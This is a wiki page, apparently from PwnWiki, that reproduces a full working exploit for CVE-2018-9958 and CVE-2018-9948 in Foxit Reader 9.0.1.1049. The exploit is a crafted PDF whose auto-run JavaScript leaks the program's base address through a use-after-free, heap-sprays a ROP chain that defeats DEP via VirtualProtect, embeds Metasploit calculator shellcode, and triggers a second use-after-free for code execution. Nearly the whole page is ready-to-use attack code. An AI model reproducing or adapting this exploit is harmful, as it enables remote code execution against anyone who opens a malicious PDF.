https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2018-9958_Foxit_Reader_9.0.1.1049_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E 2026-04-07T20:11:20Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=CVE-2018-9958_Foxit_Reader_9.0.1.1049_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&diff=1514&oldid=prev 2021-04-11T01:28:07Z

<p>Created page with &quot;==EXP== &lt;pre&gt; %PDF 1 0 obj &lt;&lt;/Pages 1 0 R /OpenAction 2 0 R&gt;&gt; 2 0 obj &lt;&lt;/S /JavaScript /JS ( /* #----------------------------------------------------------------------------...&quot;</p> <p><b>New page</b></p><div>==EXP==<br /> &lt;pre&gt;<br /> %PDF <br /> 1 0 obj<br /> &lt;&lt;/Pages 1 0 R /OpenAction 2 0 R&gt;&gt; <br /> 2 0 obj<br /> &lt;&lt;/S /JavaScript /JS (<br /> /*<br /> #---------------------------------------------------------------------------------------------------#<br /> # Exploit Title : Foxit Reader RCE with DEP bypass on Heap with shellcode #<br /> # Date : 08/04/2018 (4 Aug) #<br /> # Exploit Author : Manoj Ahuje #<br /> # Tested on : Windows 7 Pro (x32) #<br /> # Software Link : https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&amp;platform=Windows&amp;version=9.0.1.1049&amp;package_type=exe&amp;language=English<br /> # Version : Foxit Reader 9.0.1.1049 #<br /> # CVE : CVE-2018-9958, CVE-2018-9948 #<br /> # Credits to &quot;Mr_Me&quot; for Reseach and initial exploit #<br /> #---------------------------------------------------------------------------------------------------#<br /> */<br /> var heap_ptr = 0;<br /> var foxit_base = 0;<br /> <br /> function heap_spray(size){<br /> var arr = new Array(size);<br /> for (var i = 0; i &lt; arr.length; i++) {<br /> <br /> // re-claim and stack pivot-0x8<br /> arr[i] = new ArrayBuffer(0x10000-0x8);//0xFFF8<br /> var claimed = new Int32Array(arr[i]);<br /> var c_length = claimed.length;<br /> <br /> /* custom made ROP chain virtualalloc call<br /> Author: Manoj Ahuje */<br /> <br /> claimed[0x00] = foxit_base + 0x01A65184; //# PUSH EAX # POP ESP # POP EDI # POP ESI # POP EBX # POP EBP # RETN<br /> claimed[0x01] = foxit_base + 0x01A65184;<br /> claimed[0x02] = foxit_base + 0x01A65184;<br /> claimed[0x03] = foxit_base + 0x01A65184;<br /> claimed[0x04] = foxit_base + 0x14f9195; // # POP EBX # RETN<br /> claimed[0x05] = foxit_base + 0x41414141; // <br /> claimed[0x06] = foxit_base + 0x1f224fc; // # ptr to &amp;VirtualProtect()<br /> claimed[0x07] = foxit_base + 0x0e70281; // # MOV ESI,DWORD PTR DS:[EBX] # RETN <br /> claimed[0x08] = foxit_base + 0x1582698; // # POP EBP # RETN <br /> claimed[0x09] = foxit_base + 0xa0dbd; // # &amp; jmp esp <br /> claimed[0x0a] = foxit_base + 0x14ed06d; // # POP EBX # RETN <br /> claimed[0x0b] = 0x00000201; // # 0x00000201-&gt; ebx<br /> claimed[0x0c] = foxit_base + 0x1e62f7e; // # POP EDX # RETN <br /> claimed[0x0d] = 0x00000040; // # 0x00000040-&gt; edx<br /> claimed[0x0e] = foxit_base + 0x1ec06a9; // # POP ECX # RETN <br /> claimed[0x0f] = foxit_base + 0x29bac74; // # &amp;Writable location <br /> claimed[0x10] = foxit_base + 0xb971f; // # POP EDI # RETN <br /> claimed[0x11] = foxit_base + 0x177769e; // # RETN (ROP NOP) <br /> claimed[0x12] = foxit_base + 0x1A89808; // # POP EAX # RETN <br /> claimed[0x13] = 0x90909090; // # nop<br /> claimed[0x14] = foxit_base + 0x129d4f0; // # PUSHAD # RETN <br /> claimed[0x15] = 0x90909090;<br /> claimed[0x16] = 0x90909090;<br /> claimed[0x17] = 0x90909090;<br /> claimed[0x18] = 0x90909090;<br /> claimed[0x19] = 0x90909090;<br /> claimed[0x1a] = 0x90909090;<br /> <br /> //regular CALCULATOR shellcode from msf<br /> <br /> claimed[0x1b] = 0xe5d9e389;<br /> claimed[0x1c] = 0x5af473d9;<br /> claimed[0x1d] = 0x4a4a4a4a;<br /> claimed[0x1e] = 0x4a4a4a4a;<br /> claimed[0x1f] = 0x434a4a4a;<br /> claimed[0x20] = 0x43434343;<br /> claimed[0x21] = 0x59523743;<br /> claimed[0x22] = 0x5058416a;<br /> claimed[0x23] = 0x41304130;<br /> claimed[0x24] = 0x5141416b;<br /> claimed[0x25] = 0x32424132;<br /> claimed[0x26] = 0x42304242;<br /> claimed[0x27] = 0x58424142;<br /> claimed[0x28] = 0x42413850;<br /> claimed[0x29] = 0x49494a75;<br /> claimed[0x2a] = 0x4e586b6c;<br /> claimed[0x2b] = 0x57306362;<br /> claimed[0x2c] = 0x53707770;<br /> claimed[0x2d] = 0x6b696e50;<br /> claimed[0x2e] = 0x39716455;<br /> claimed[0x2f] = 0x6e645050;<br /> claimed[0x30] = 0x6470426b;<br /> claimed[0x31] = 0x434b6c70;<br /> claimed[0x32] = 0x6e6c3662;<br /> claimed[0x33] = 0x7562436b;<br /> claimed[0x34] = 0x526b6e44;<br /> claimed[0x35] = 0x46686452;<br /> claimed[0x36] = 0x5037386f;<br /> claimed[0x37] = 0x6446764a;<br /> claimed[0x38] = 0x4e4f4b71;<br /> claimed[0x39] = 0x354c774c;<br /> claimed[0x3a] = 0x776c6131;<br /> claimed[0x3b] = 0x374c7672;<br /> claimed[0x3c] = 0x5a614a50;<br /> claimed[0x3d] = 0x374d746f;<br /> claimed[0x3e] = 0x38573971;<br /> claimed[0x3f] = 0x30525a62;<br /> claimed[0x40] = 0x6e376652;<br /> claimed[0x41] = 0x6252506b;<br /> claimed[0x42] = 0x624b6c30;<br /> claimed[0x43] = 0x6c4c576a;<br /> claimed[0x44] = 0x476c524b;<br /> claimed[0x45] = 0x6d387461;<br /> claimed[0x46] = 0x43587133;<br /> claimed[0x47] = 0x50513831;<br /> claimed[0x48] = 0x334b6c51;<br /> claimed[0x49] = 0x35506769;<br /> claimed[0x4a] = 0x6e534851;<br /> claimed[0x4b] = 0x7539576b;<br /> claimed[0x4c] = 0x54736948;<br /> claimed[0x4d] = 0x4e79637a;<br /> claimed[0x4e] = 0x6c64356b;<br /> claimed[0x4f] = 0x6a51354b;<br /> claimed[0x50] = 0x39514676;<br /> claimed[0x51] = 0x6f4c6e6f;<br /> claimed[0x52] = 0x444f4831;<br /> claimed[0x53] = 0x4861364d;<br /> claimed[0x54] = 0x6b783447;<br /> claimed[0x55] = 0x69357450;<br /> claimed[0x56] = 0x73337366;<br /> claimed[0x57] = 0x5568494d;<br /> claimed[0x58] = 0x474d436b;<br /> claimed[0x59] = 0x68357454;<br /> claimed[0x5a] = 0x4e686364;<br /> claimed[0x5b] = 0x6638466b;<br /> claimed[0x5c] = 0x59313344;<br /> claimed[0x5d] = 0x6c766143;<br /> claimed[0x5e] = 0x506c664b;<br /> claimed[0x5f] = 0x504b4c4b;<br /> claimed[0x60] = 0x656c4758;<br /> claimed[0x61] = 0x6c436951;<br /> claimed[0x62] = 0x6e34634b;<br /> claimed[0x63] = 0x6831436b;<br /> claimed[0x64] = 0x61694e50;<br /> claimed[0x65] = 0x65746554;<br /> claimed[0x66] = 0x514b5174;<br /> claimed[0x67] = 0x7351734b;<br /> claimed[0x68] = 0x427a6269;<br /> claimed[0x69] = 0x396f6971;<br /> claimed[0x6a] = 0x734f5170;<br /> claimed[0x6b] = 0x4e6a436f;<br /> claimed[0x6c] = 0x7832526b;<br /> claimed[0x6d] = 0x316d4e6b;<br /> claimed[0x6e] = 0x675a534d;<br /> claimed[0x6f] = 0x4f4d6c71;<br /> claimed[0x70] = 0x57324875;<br /> claimed[0x71] = 0x43707770;<br /> claimed[0x72] = 0x61306630;<br /> claimed[0x73] = 0x6e514678;<br /> claimed[0x74] = 0x6e6f706b;<br /> claimed[0x75] = 0x6b6f5967;<br /> claimed[0x76] = 0x784b4f65;<br /> claimed[0x77] = 0x39656d70;<br /> claimed[0x78] = 0x73565032;<br /> claimed[0x79] = 0x6c666c58;<br /> claimed[0x7a] = 0x6d6d4d55;<br /> claimed[0x7b] = 0x496f494d;<br /> claimed[0x7c] = 0x456c6545;<br /> claimed[0x7d] = 0x454c7356;<br /> claimed[0x7e] = 0x6b306b5a;<br /> claimed[0x7f] = 0x5370394b;<br /> claimed[0x80] = 0x4d453445;<br /> claimed[0x81] = 0x6567426b;<br /> claimed[0x82] = 0x70426343;<br /> claimed[0x83] = 0x376a506f;<br /> claimed[0x84] = 0x6b336670;<br /> claimed[0x85] = 0x3045694f;<br /> claimed[0x86] = 0x72313563;<br /> claimed[0x87] = 0x7633654c;<br /> claimed[0x88] = 0x4235754e;<br /> claimed[0x89] = 0x67354558;<br /> claimed[0x8a] = 0x00414170;<br /> <br /> for (var j = 0x8b; j &lt; c_length; j++) {<br /> claimed[j] = 0x6d616e6a;<br /> }<br /> }<br /> }<br /> <br /> function leak(){<br /> /*<br /> Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability<br /> ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948<br /> Found By: bit from meepwn team<br /> */<br /> <br /> // alloc<br /> var a = this.addAnnot({type: &quot;Text&quot;});<br /> <br /> // free<br /> a.destroy();<br /> <br /> // reclaim<br /> var test = new ArrayBuffer(0x60);<br /> var stolen = new Int32Array(test);<br /> <br /> // leak the vftable<br /> var leaked = stolen[0] &amp; 0xffff0000;<br /> <br /> // a hard coded offset to FoxitReader.exe base v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68)<br /> foxit_base = leaked-0x01f50000;<br /> }<br /> <br /> function reclaim(){<br /> <br /> var arr = new Array(0x10);<br /> for (var i = 0; i &lt; arr.length; i++) {<br /> arr[i] = new ArrayBuffer(0x60);<br /> var rop = new Int32Array(arr[i]);<br /> <br /> rop[0x00] = 0x11000048;<br /> <br /> for (var j = 0x01; j &lt; rop.length; j++) {<br /> rop[j] = 0x71727374;<br /> }<br /> }<br /> }<br /> <br /> function trigger_uaf(){<br /> /*<br /> Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability<br /> ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958<br /> Found By: Steven Seeley (mr_me) of Source Incite<br /> */<br /> <br /> var that = this;<br /> var a = this.addAnnot({type:&quot;Text&quot;, page: 0, name:&quot;uaf&quot;});<br /> var arr = [1];<br /> Object.defineProperties(arr,{<br /> &quot;0&quot;:{ <br /> get: function () {<br /> <br /> // free<br /> that.getAnnot(0, &quot;uaf&quot;).destroy();<br /> <br /> // reclaim freed memory<br /> reclaim();<br /> return 1; <br /> }<br /> }<br /> });<br /> a.point = arr;<br /> }<br /> <br /> leak();<br /> heap_spray(0x1000);<br /> <br /> trigger_uaf();<br /> <br /> )&gt;&gt; trailer &lt;&lt;/Root 1 0 R&gt;&gt;<br /> <br /> &lt;/pre&gt;</div>

Pwnwiki